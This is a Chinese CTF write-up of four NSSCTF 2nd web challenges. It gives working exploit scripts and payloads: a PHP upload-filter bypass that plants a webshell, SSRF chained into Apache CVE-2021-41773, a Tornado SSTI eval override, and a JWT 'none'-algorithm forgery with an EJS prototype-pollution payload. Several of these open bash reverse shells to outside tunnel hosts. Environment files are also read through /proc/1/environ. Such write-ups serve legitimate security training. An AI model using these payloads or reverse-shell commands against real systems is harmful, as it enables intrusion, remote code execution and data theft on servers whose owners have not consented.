当前位置:   article > 正文

[NSSCTF 2nd] web刷题记录_nssctf don’t have an account? 不给注册!

nssctf don’t have an account? 不给注册!


php签到

源代码

 <?php

function waf($filename){
    $black_list = array("ph", "htaccess", "ini");
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    foreach ($black_list as $value) {
        if (stristr($ext, $value)){
            return false;
        }
    }
    return true;
}

if(isset($_FILES['file'])){
    $filename = urldecode($_FILES['file']['name']);
    $content = file_get_contents($_FILES['file']['tmp_name']);
    if(waf($filename)){
        file_put_contents($filename, $content);
    } else {
        echo "Please re-upload";
    }
} else{
    highlight_file(__FILE__);
} 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

简单分析一下,检查是否上传名为file的文件,然后对上传文件名url解码,然后使用 file_get_contents() 函数读取上传文件的内容。

关键点在于如何绕过waf,因为pathinfo会获取拓展名,然后黑名单检测。
这里我们的思路是利用pathinfo的特性,当传入的参数是1.php/.时 pathinfo 获取的文件的后缀名为NULL,故可以在文件名后面添加/.来实现绕过 (记得将文件名url编码)

我们首先上传文件,我的方法是修改前端代码

<!DOCTYPE html>
<html>
<body>
<form action="http://node5.anna.nssctf.cn:28751/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

编辑html,将上述代码复制到<body>

在这里插入图片描述
即可得到上传文件功能
然后上传名为1.php的一句话木马,bp抓包修改后缀为1.php/.
(这里我再次测试1.php.,发现上传不成功)

在这里插入图片描述上传成功后,访问./1.php/./1.php
在这里插入图片描述得到flag

在这里插入图片描述

MyBox

考点:ssrf,Apache HTTP Server路径穿越漏洞,反弹shell

非预期解

直接读取环境变量

/?url=file:///proc/1/environ
  • 1

在这里插入图片描述

预期解

打开题目,发现存在参数url,成功读取用户信息
在这里插入图片描述观察到题目为python环境,读取app.py
在这里插入图片描述
源码如下

from flask import Flask, request, redirect
import requests, socket, struct
from urllib import parse
app = Flask(__name__)
 
@app.route('/')
def index():
    if not request.args.get('url'):
        return redirect('/?url=dosth')
    url = request.args.get('url')
    if url.startswith('file://'):
        with open(url[7:], 'r') as f:
            return f.read()
    elif url.startswith('http://localhost/'):
        return requests.get(url).text
    elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect(('127.0.0.1', int(port)))
        s.send(parse.unquote(content).encode())
        res = b''
        while 1:
            data = s.recv(1024)
            if data:
                res += data
            else:
                break
        return res
    return ''
 
app.run('0.0.0.0', 827)
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33

这里url参数对应不同功能

  • 如果 URL 参数中没有指定 ‘url’,则重定向到 ‘/?url=dosth’。
  • 如果 URL 以 ‘file://’ 开头,则根据文件路径读取文件内容并返回。
  • 如果 URL 以 ‘http://localhost/’ 开头,则使用 requests 库发送 GET 请求并返回响应的文本内容。
  • 如果 URL 以 ‘mybox://127.0.0.1:’ 开头,则将剩余部分分割为端口和内容,使用 socket 连接到本地主机(127.0.0.1)的指定端口,并发送解码后的内容,然后接收并返回响应的内容。

发现一个很明显的SSRF利用点,本来得用gopher://协议打,但是这里魔改过,得把字符串gopher://换成mybox://。
关键代码如下

elif url.startswith('mybox://127.0.0.1:'):
        port, content = url[18:].split('/_', maxsplit=1)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  • 1
  • 2
  • 3

先发个请求包看看,请求一下不存在的PHP文件,搜集一下信息

import urllib.parse
test =\
"""GET /xxx.php HTTP/1.1
Host: 127.0.0.1:80

"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

可以看到返回404,但是告诉我们服务器版本
在这里插入图片描述
这里存在Apache HTTP Server路径穿越漏洞(CVE-2021-41773)
修改下刚刚的exp

import urllib.parse
test =\
"""POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length:59

bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'
"""
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result1 = 'gopher://127.0.0.1:80/'+'_'+urllib.parse.quote(new)
result2 = result1.replace('gopher','mybox')
print(result2)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

注:Content-Length:59可以bp抓包复制进去看看长度
在这里插入图片描述上传,反弹shell成功
在这里插入图片描述
得到flag
在这里插入图片描述

MyHurricane

考点:Tornado、ssti

打开题目,源码如下

import tornado.ioloop 
import tornado.web 
import os BASE_DIR = os.path.dirname(__file__) 
def waf(data): 
    bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}'] 
    for c in bl: 
        if c in data: 
            return False 
        for chunk in data.split(): 
            for c in chunk: 
                if not (31 < ord(c) < 128): 
                    return False 
                return True 
class IndexHandler(tornado.web.RequestHandler): 
    def get(self): 
        with open(__file__, 'r') as f: 
            self.finish(f.read()) 
    def post(self): 
        data = self.get_argument("ssti") 
        if waf(data): 
            with open('1.html', 'w') as f: 
                f.write(f""" {data} """) 
                f.flush() 
                self.render('1.html') 
        else: self.finish('no no no') 

if __name__ == "__main__": 
    app = tornado.web.Application([ (r"/", IndexHandler), ], compiled_template_cache=False) 
    app.listen(827) 
    tornado.ioloop.IOLoop.current().start()
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

分析一下

  1. 首先定义了waf函数,对一些关键字进行过滤
  2. 然后定义了IndexHandler类,它继承自tornado.web.RequestHandler。定义了get()和post()方法,其中post方法接收参数ssti,然后检测黑名单,因为render内容可控,我们可以通过{{}}进行传递变量和命令执行

非预期解

读取环境变量,可以通过文件包含读取

ssti={% include /proc/1/environ %}  //或者是{% extends /proc/1/environ %}
  • 1

在这里插入图片描述

预期解

利用了tornado里的变量覆盖,让_tt_utf8为eval,在渲染时时会有_tt_utf8(__tt_tmp)这样的调用

原理:可以看一下该模板的临时代码
在这里插入图片描述

由于这里过滤了很多关键字,我们可以用set和raw语法去构造payload

ssti={% set _tt_utf8=eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os').popen("bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 <&1'")
  • 1

先定义变量,然后raw只许输出,进行反弹shell
然后将反弹shell编码一下
在这里插入图片描述在环境变量处得到flag
在这里插入图片描述

MyJs

考点:JWT空算法伪造、ejs原型链污染

打开题目发现是登录框,F12发现有源码泄露

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const session = require('express-session');
const randomize = require('randomatic');
const jwt = require('jsonwebtoken')
const crypto = require('crypto');
const fs = require('fs');

global.secrets = [];

express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
.use('/static', express.static('static'))
.set('views', './views')
.set('view engine', 'ejs')
.use(session({
    name: 'session',
    secret: randomize('a', 16),
    resave: true,
    saveUninitialized: true
}))
.get('/', (req, res) => {
    if (req.session.data) {
        res.redirect('/home');
    } else {
        res.redirect('/login')
    }
})
.get('/source', (req, res) => {
    res.set('Content-Type', 'text/javascript;charset=utf-8');
    res.send(fs.readFileSync(__filename));
})
.all('/login', (req, res) => {
    if (req.method == "GET") {
        res.render('login.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password, token} = req.body;
        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            return res.render('login.ejs', {msg: 'login error.'});
        }
        const secret = global.secrets[sid];
        const user = jwt.verify(token, secret, {algorithm: "HS256"});
        if (username === user.username && password === user.password) {
            req.session.data = {
                username: username,
                count: 0,
            }
            res.redirect('/home');
        } else {
            return res.render('login.ejs', {msg: 'login error.'});
        }
    }
})
.all('/register', (req, res) => {
    if (req.method == "GET") {
        res.render('register.ejs', {msg: null});
    }
    if (req.method == "POST") {
        const {username, password} = req.body;
        if (!username || username == 'nss') {
            return res.render('register.ejs', {msg: "Username existed."});
        }
        const secret = crypto.randomBytes(16).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret);
        const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});
        res.render('register.ejs', {msg: "Token: " + token});
    }
})
.all('/home', (req, res) => {
    if (!req.session.data) {
        return res.redirect('/login');
    }
    res.render('home.ejs', {
        username: req.session.data.username||'NSS',
        count: req.session.data.count||'0',
        msg: null
    })
})
.post('/update', (req, res) => {
    if(!req.session.data) {
        return res.redirect('/login');
    }
    if (req.session.data.username !== 'nss') {
        return res.render('home.ejs', {
            username: req.session.data.username||'NSS',
            count: req.session.data.count||'0',
            msg: 'U cant change uid'
        })
    }
    let data = req.session.data || {};
    req.session.data = lodash.merge(data, req.body);
    console.log(req.session.data.outputFunctionName);
    res.redirect('/home');
})
.listen(827, '0.0.0.0')
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101

分析一下

  1. 首先我们可以知道的是ejs模板引擎,定义密钥为长度十六的随机数
  2. /login路由下先判断是否为POST请求,从请求中接收username、password和token属性并赋值,赋值sid为token值中的secretid值,判断sid是否为空或者未定义,然后将sid的值赋值给secret,接着进行jwt的认证,如果认证成功则登陆
  3. /register路由同样先判断是否为POST请求,接收username、password参数,并且不允许注册用户名为nss,然后就是进行jwt加密
  4. /update路由下会判断是否为nss用户,如果不是则无法对uid(也就是count)进行修改,然后存在merge函数可以原型链污染

我们首先知道要用nss用户登录,但是无法注册。如果我们要直接用nss登录的话要进行jwt验证,所以我们利用空算法实现jwt伪造,从而完成登录
在这里插入图片描述
我们将算法设置为空,那么我们就可以实现空密钥登录
我们看向代码login的逻辑

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
//省略部分代码
const secret = global.secrets[sid];
const user = jwt.verify(token, secret, {algorithm: "HS256"});
  • 1
  • 2
  • 3
  • 4

secret的值为sid的值,而sid的值又是从token中的secretid得到,所以我们只需要让secretid为空即可,伪造脚本如下

const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {
    secretid: [],
    username: 'nss',
    password: '123456'
}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

在这里插入图片描述我们先随便注册一个(不然登陆不成功)
将得到的token进行登录,成功跳转/home
在这里插入图片描述
我们知道存在ejs模板注入
payload

{
    "__proto__":{
        "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/5i781963p2.yicp.fun/58265 0>&1\"');var __tmp2"
    }
}
  • 1
  • 2
  • 3
  • 4
  • 5

注意要修改为application/json
成功反弹shell,在环境变量得到flag
在这里插入图片描述

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/从前慢现在也慢/article/detail/641072
推荐阅读
相关标签
  

闽ICP备14008679号